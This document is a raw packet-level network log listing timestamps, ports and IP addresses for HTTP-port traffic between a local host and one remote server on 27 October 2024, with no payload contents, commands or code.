Oct 27, 2024 12:13:26.451706886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.451711893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.451725006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.451735973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.451741934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.451761007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.451771021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.451778889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.451786995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.451797962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.451827049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.451833963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.451847076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.451869011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452001095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452018023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452052116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452069044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452079058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452085972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452110052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452137947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452193022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452234030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452253103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452253103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452270985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452281952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452287912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452307940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452316046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452332973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452334881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452347994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.452378988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.452404976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.493495941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.493551016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.493587971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.493614912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.493626118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.493659973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.493664026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.493671894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.493697882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.493710041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.493736982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.493746996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.493788958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.565907001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.565953970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.565968037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.565968990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.565988064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.565989971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566005945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566015005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566028118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566050053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566088915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566106081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566123962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566140890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566148043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566158056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566175938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566194057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566239119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566283941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566299915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566323042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566350937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566375017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566391945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566407919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566423893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566431046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566450119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566489935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566574097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566590071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566605091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566618919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566626072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566646099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566665888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566710949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566796064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566833973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566850901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566867113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566881895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566885948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566896915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566899061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566917896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.566975117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.566975117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567095041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567117929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567158937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567177057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567193031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567194939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567209005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567209959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567226887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567229986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567245960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567255020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567281961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567303896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567332029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567341089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567410946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567411900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567440033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567456007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567456961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567472935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567475080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567501068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567518950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567538023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567557096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567572117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567575932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567589045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567599058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567610979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567611933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567630053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567631006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567655087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567675114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567878008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567893028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567909002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567920923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567924976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567941904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567944050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567950964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567962885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.567966938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.567985058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568006039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568134069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568150997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568166971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568171024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568183899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568190098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568201065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568208933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568223000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568228006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568239927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568267107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568470955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568486929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568501949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568523884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568538904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568542957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568551064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568559885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568562984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568576097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568586111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568592072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568599939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568609953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568610907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568628073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568630934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568645000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568645954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568662882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568669081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568681955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.568682909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568698883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568715096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.568988085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569005013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569031954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569031954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569048882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569056034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569066048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569066048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569082975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569082975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569101095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569102049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569116116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569138050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569248915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569266081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569282055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569288969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569299936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569300890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569317102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569318056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569334984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569334984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569353104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569353104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569371939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569376945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569389105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569406986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569713116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569730043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.569749117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.569762945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.613939047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.619438887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.895849943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.895878077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.895915031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.895931005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.895946980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.895967960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.895973921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896001101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896024942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896053076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896059036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896104097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896132946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896137953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896148920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896186113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896190882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896225929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896236897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896255970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896280050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896305084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896306038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896342039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896368027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896374941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896387100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896423101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896426916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896461010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896473885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896501064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896522045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896529913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896545887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896574020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896579981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896615028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896619081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896650076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896667004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896683931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896699905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896728992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896733046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896761894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896775961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896795988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896807909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896830082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896842003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896879911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896879911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896925926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896930933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896964073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.896975040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.896997929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897008896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897027969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897037029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897062063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897072077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897103071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897113085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897144079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897160053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897177935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897188902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897212029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897224903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897260904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897262096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897295952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897310019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897330999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897346973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897366047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897387028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897409916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897411108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897443056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897475004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897491932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897519112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897526026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897559881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897578955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897593021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897608995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897625923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897639036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897659063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897670031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897692919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897726059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897741079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897761106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897794962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897814035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897829056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897864103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897882938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897897959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897911072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897931099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897953987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.897972107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:26.897978067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:26.898061037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013041973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013056993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013072014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013087988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013093948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013111115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013118982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013125896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013137102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013168097 CET	49730	80	192.168.2.4	185.215.113.206
